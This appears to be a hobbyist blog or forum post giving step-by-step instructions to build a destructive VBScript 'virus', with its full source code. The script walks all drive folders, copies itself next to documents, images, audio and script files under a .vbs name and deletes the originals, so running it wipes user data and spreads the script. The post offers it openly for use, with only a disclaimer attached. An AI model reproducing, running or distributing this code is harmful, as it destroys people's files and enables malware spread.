Create Dangerous .vbs virus which overwrites the file extenstion with .doc,.txt,.js,.jse,.css,.wsh,.sct,.hta,.js,.mp2,.mp3 ,.vbs,.vbe,.jpeg,.jpg

Hello there!!!
I'm Back here again with new code which can create dangerous virus which over writes the files!!

To create it Follow the steps Below
Step 1:
Open Notepad

Step 2:
copy codes below



This is the code:
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType + 2 And d.IsReady = True Then
Call SubFolders(d & "\")
End If
Next

Function infect(path)
On Error Resume Next
Set fold = fso.GetFolder(path)
For Each f In fold.Files
ext = fso.GetExtensionName(f.path)
If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
fso.DeleteFile f.Path, True
End if
Next
End Function

Function SubFolders(path)
On Error Resume next
For Each subf In fso.GetFolder(path).SubFolders
Call Infect(subf.Path)
Call SubFolders(subf.Path)
next
End function

Step 3:
Paste it to Notepad

Step 4:
Save it as A.vbs

This virus overwrites files with these extentions:.doc,.txt,.js,.jse,.css,.wsh,.sct,.hta,.js,.mp2,.mp3 ,.vbs,.vbe,.jpeg,.jpg
I am NOT responsible for any damage caused by this virus so PLEASE DO NOT RUN THIS SCRIPT UNLESS YOU WANT DATA LOSS!!

If you don't want it to be active then save it as .txt

Please comment below!!

Thank You!!